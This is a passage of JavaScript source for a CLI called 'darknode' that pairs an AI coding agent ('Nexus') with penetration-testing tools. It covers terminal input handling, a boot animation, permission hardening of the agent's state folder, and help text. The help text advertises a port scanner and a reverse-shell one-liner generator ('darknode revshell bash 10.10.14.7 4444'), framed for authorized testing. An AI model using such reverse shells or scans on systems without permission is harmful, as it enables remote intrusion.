          if (input.endsWith("\\")) { input = input.slice(0, -1) + "\n"; curPos = input.length; render(); return; } // trailing backslash = newline, not submit
          const t = input.trim(); input = ""; curPos = 0; const pick = menuSel; menuSel = 0; if (/^\/(exit|quit|q)$/i.test(t)) { cleanup(); resolve(); return; } if (t.startsWith("/")) { let cmd = t; if (!/\s/.test(t)) { const mm = fuzzyCmds(t); if (mm.length) cmd = (mm[pick] || mm[0])[0]; } handleSlash(cmd); render(); return; } if (t[0] === "!" && t.length > 1) { runBang(t.slice(1).trim()); render(); return; } if (t[0] === "#" && t.length > 1) { addMemory(t.slice(1).trim()); render(); return; } if (t) { submit(t); return; } render(); }
        else if (ch === "\x7f" || ch === "\b") { if (curPos > 0) { const before = input.slice(0, curPos); const im = before.match(/\[Image#\d+\]$/); let del = im ? im[0].length : 1; if (!im && curPos >= 2) { const cc = input.charCodeAt(curPos - 1); if (cc >= 0xDC00 && cc <= 0xDFFF) del = 2; } input = input.slice(0, curPos - del) + input.slice(curPos); curPos -= del; } menuSel = 0; render(); }
        else if (ch >= " ") { input = input.slice(0, curPos) + ch + input.slice(curPos); curPos += ch.length; menuSel = 0; if (ch === "/" && input.length === 1) refreshArgCache(); render(); }
      }
    } catch (err) { busy = false; try { transcript.push({ role: "system", text: "internal error: " + (err && err.message || err) }); render(); } catch (_) {} } });
    out.on("resize", onResize);
    // ---- boot loading animation ----
    (function boot() {
      if (fastBoot) return finishBoot();   // instant start when asked
      const caps = [["claude", hasBin("claude")], ["ollama", false], ["opencode", hasBin("opencode")], ["git", fs.existsSync(path.join(cwd, ".git"))], ["index", fs.existsSync(path.join(cwd, ".nexus", "index.json"))], ["memory", fs.existsSync(path.join(cwd, ".nexus", "NEXUS.md"))]];
      let localModels = -1; try { ollamaTags().then((m) => { localModels = m.length; }).catch(() => { localModels = 0; }); } catch (_) { localModels = 0; }
      const taglines = ["multi-engine · Claude + local + OpenCode", "race cloud vs local — /race", "save tokens — /cowork /lean /effort", "git-native — /undo /diff /commit", "secure by default — /guard /redact", "private local RAG — /index", "50+ commands — just type /", "press any key to skip"];
      const artW = ART[0].length;
      const gart = (s, i, off) => useColor ? "\x1b[1;" + GRAD[(i + off) % GRAD.length] + "m" + s + "\x1b[0m" : s;
      const stars = []; for (let k = 0; k < 16; k++) stars.push({ x: 1 + (Math.random() * (cols() - 2) | 0), y: 1 + (Math.random() * (rows() - 2) | 0), ph: (Math.random() * 6) | 0 });
      let f = 0; const total = 12;   // was 22 — ~half the frames, snappier start
      bootTimer = setInterval(() => {
        const C = cols(), R = rows(), cx = (C / 2) | 0, cy = (R / 2) | 0, top = Math.max(1, cy - 6);
        caps[1][1] = localModels > 0;
        const put = (row, str, vis) => ESC + "[" + row + ";" + Math.max(1, cx - (((vis || str.length) / 2) | 0)) + "H" + str;
        let b = ESC + "[2J";
        for (const s of stars) { if (s.x >= C || s.y >= R) continue; const tw = (f + s.ph) % 6; const ch = tw < 2 ? "·" : tw < 4 ? "+" : "*"; b += ESC + "[" + s.y + ";" + s.x + "H" + (tw < 2 ? gray(ch) : tw < 4 ? dim(cyan(ch)) : cyan(ch)); } // twinkling starfield behind the logo
        for (let i = 0; i < ART.length; i++) b += ESC + "[" + (top + i) + ";" + Math.max(1, cx - (artW / 2 | 0)) + "H" + gart(ART[i], i, f); // shimmer wave down the logo
        b += put(top + ART.length + 1, dim(gray("the multi-engine AI coding agent")), 32);
        const nShown = Math.min(caps.length, ((f / total) * caps.length | 0) + 1);
        let cap = ""; for (let i = 0; i < nShown; i++) { const [nm, okc] = caps[i]; cap += (okc ? green("●") : gray("○")) + " " + (okc ? nm : gray(nm)) + (nm === "ollama" && localModels > 0 ? gray("(" + localModels + ")") : "") + "   "; }
        b += put(top + ART.length + 3, cap, stripA(cap).length);
        const bar = Math.round((f / total) * 26);
        b += put(top + ART.length + 5, gray("[") + cyan("▓".repeat(bar)) + gray("░".repeat(26 - bar)) + gray("]"), 28);
        const tl = taglines[(f / 3 | 0) % taglines.length];
        b += put(top + ART.length + 7, cyan(tl), tl.length);
        out.write(b);
        if (++f > total) { clearInterval(bootTimer); bootTimer = null;
          // power-on flash: one bright frame of the logo, then hand off to the chat
          const cx2 = (cols() / 2) | 0, cy2 = (rows() / 2) | 0, top2 = Math.max(1, cy2 - 6);
          let fl = ESC + "[2J"; for (let i = 0; i < ART.length; i++) fl += ESC + "[" + (top2 + i) + ";" + Math.max(1, cx2 - (artW / 2 | 0)) + "H" + (useColor ? "\x1b[1;97m" + ART[i] + "\x1b[0m" : ART[i]);
          out.write(fl);
          setTimeout(finishBoot, 80);
        }
      }, 45);
    })();
  });
}
// add `.nexus/` to .gitignore (Nexus's state dir shouldn't clutter git); returns true if it added it
// Tighten permissions on .nexus so another local account on a shared host cannot
// read config/session files that may hold engine API keys or conversation text.
// Directory -> 0700 (owner only), sensitive files -> 0600. Best-effort and
// no-op on platforms (e.g. Windows) where chmod has no effect.
function secureNexus(cwd) {
  try {
    const fs = require("fs"), path = require("path");
    const dir = path.join(cwd, ".nexus");
    if (!fs.existsSync(dir)) return;
    try { fs.chmodSync(dir, 0o700); } catch (_) {}
    const sensitive = ["config.json", "session.json", "usage.jsonl", "mcp.json", "permissions.json", "todos.json", "plan.json", "index.json", "snippets.json"];
    for (const f of sensitive) {
      const p = path.join(dir, f);
      try { if (fs.existsSync(p)) fs.chmodSync(p, 0o600); } catch (_) {}
    }
  } catch (_) {}
}
function gitignoreNexus(cwd) {
  try {
    const fs = require("fs"), path = require("path");
    if (!fs.existsSync(path.join(cwd, ".git"))) return false;
    const gi = path.join(cwd, ".gitignore");
    let cur = ""; try { cur = fs.readFileSync(gi, "utf8"); } catch (_) {}
    if (/(^|\n)\.nexus\/?(\r?\n|$)/.test(cur)) return false;
    fs.writeFileSync(gi, cur + (cur && !cur.endsWith("\n") ? "\n" : "") + ".nexus/\n");
    return true;
  } catch (_) { return false; }
}
function nexusInit() {
  const fs = require("fs"), path = require("path");
  const cwd = process.cwd(), NEXUS = path.join(cwd, ".nexus");
  gitignoreNexus(cwd);
  fs.mkdirSync(NEXUS, { recursive: true });
  const mdPath = path.join(NEXUS, "NEXUS.md"), cfgPath = path.join(NEXUS, "config.json");
  const detected = [];
  try { if (fs.existsSync("package.json")) { const p = JSON.parse(fs.readFileSync("package.json", "utf8")); detected.push("Node project" + (p.name ? " (" + p.name + ")" : "")); if (p.scripts) detected.push("npm scripts: " + Object.keys(p.scripts).slice(0, 8).join(", ")); } } catch (_) {}
  try { if (fs.existsSync("requirements.txt") || fs.existsSync("pyproject.toml") || fs.existsSync("setup.py")) detected.push("Python project"); } catch (_) {}
  try { if (fs.existsSync("Cargo.toml")) detected.push("Rust project"); } catch (_) {}
  try { if (fs.existsSync("go.mod")) detected.push("Go project"); } catch (_) {}
  try { if (fs.existsSync(".git")) detected.push("git repository"); } catch (_) {}
  let created = [];
  if (!fs.existsSync(mdPath)) { fs.writeFileSync(mdPath, "# Nexus project instructions\n\nNexus loads this file at the start of every session. Describe the project, conventions, and how to build/run/test it so the agent has context.\n\n## Project\n" + (detected.length ? detected.map((d) => "- " + d).join("\n") : "- (describe your project here)") + "\n\n## Conventions\n- (code style, patterns to follow, things to avoid)\n\n## Build / run / test\n- (commands to build, run, and test)\n"); created.push("NEXUS.md"); }
  if (!fs.existsSync(cfgPath)) { fs.writeFileSync(cfgPath, JSON.stringify({ engine: hasBin("claude") ? "claude" : "ollama", model: process.env.DARKNODE_MODEL || "" }, null, 2) + "\n"); created.push("config.json"); }
  secureNexus(cwd);
  banner(); h1("Nexus initialized");
  created.forEach((f) => console.log("  " + green("created ") + ".nexus/" + f));
  if (!created.length) console.log("  " + gray("already initialized (.nexus/ exists)"));
  if (detected.length) console.log("\n  " + gray("detected: ") + detected.join(gray(" · ")));
  console.log("\n  " + bold("Next steps"));
  console.log("    " + cyan("darknode nexus") + gray("                 start a chat session"));
  console.log("    " + cyan("darknode nexus run \"<goal>\"") + gray("     autonomous multi-step run"));
  console.log("    " + gray("edit ") + ".nexus/NEXUS.md" + gray(" to give the agent project context") + "\n");
}
function usage() {
  banner();
  console.log(`  ${bold("USAGE")}
    darknode [command] [args]         run a command, or just ${cyan("darknode")} for the interactive menu

  ${bold("QUICK START")} ${gray("— new here? try one of these")}
    ${cyan("darknode nexus")}                    ${gray("★ AI coding agent in your terminal (cloud or free local model)")}
    ${cyan("darknode scan")} <host>              ${gray("fast port scan of a target you're allowed to test")}
    ${cyan("darknode")}                          ${gray("browse every tool from an interactive menu")}
    ${cyan("darknode docs quickstart")}          ${gray("the full getting-started guide")}
${gray("    No AI engine yet? Free & private, runs on your machine:")}
    ${gray("$")} curl -fsSL https://ollama.com/install.sh | sh  ${gray("&&")}  ollama pull gpt-oss:20b

  ${bold("COMMANDS")}
${renderCommands(COMMAND_GROUPS, { color: cyan, cheats: Object.keys(CHEATS).join(", ") })}

  ${bold("OPTIONS")}
    -h, --help                        show this help
    -v, --version                     show version
    NO_COLOR=1                        disable colored output

  ${bold("EXAMPLES")}
    ${gray("$")} darknode nexus                            ${gray("# open the AI coder (chat)")}
    ${gray("$")} darknode nexus "add tests to server.js"   ${gray("# one-shot AI task")}
    ${gray("$")} darknode scan 10.10.14.7 top              ${gray("# port scan")}
    ${gray("$")} darknode revshell bash 10.10.14.7 4444    ${gray("# reverse-shell one-liner")}

  ${gray("Use only on systems you are authorized to test.")}
`);
}

// ---------- entry ----------
process.on("SIGINT", () => { if (tuiActive) return; console.log("\n  " + gray("interrupted — stay sharp.") + "\n"); process.exit(130); });
const args = process.argv.slice(2);
// The CLI ships two bins: `darknode` (full platform) and `nexus` (the AI agent).
// When invoked as `nexus`, every command is scoped to the agent, so `nexus run …`,
// `nexus overnight …`, `nexus agents …` work the same as `darknode nexus …`, and a
// bare `nexus` drops straight into the agent TUI (handled in the args.length===0 branch).
const _binName = require("path").basename(process.argv[1] || "", ".js");
if (_binName === "nexus" && args.length && !["-v", "--version", "-h", "--help"].includes(args[0]) && args[0] !== "nexus") {
  args.unshift("nexus");
}
if (args[0] === "-v" || args[0] === "--version") {
  console.log("darknode " + VERSION);
  if (!args.includes("--short")) {
    console.log(gray("  node " + process.version + " · " + process.platform + "/" + process.arch));
    const inst = ENGINE_ORDER.filter((e) => e !== "ollama" && engineAvail(e));
    if (engineAvail("ollama")) inst.push("ollama (local)");
    console.log(gray("  AI engines: " + (inst.length ? inst.join(", ") : "none installed")));
  }
  process.exit(0);
}
else if (args.length === 0) {
  // If launched as "nexus" (not "darknode"), go straight to TUI
  const binName = require("path").basename(process.argv[1], ".js");
  if (binName === "nexus") cli(["nexus", "--tui"]).then(() => process.exit(process.exitCode || 0)).catch((e) => { console.error("  " + red("error: " + e.message)); process.exit(1); });
  else if (process.env.DARKNODE_ENGAGEMENT) { console.error("  " + red("interactive menu is disabled in engagement mode (ungated). Use: darknode <gated command> …")); process.exit(1); }
  else mainMenu();
}
else if (args[0] === "-h" || args[0] === "--help") usage();
else cli(args).then(() => process.exit(process.exitCode || 0)).catch((e) => { console.error("  " + red("error: " + e.message)); process.exit(1); });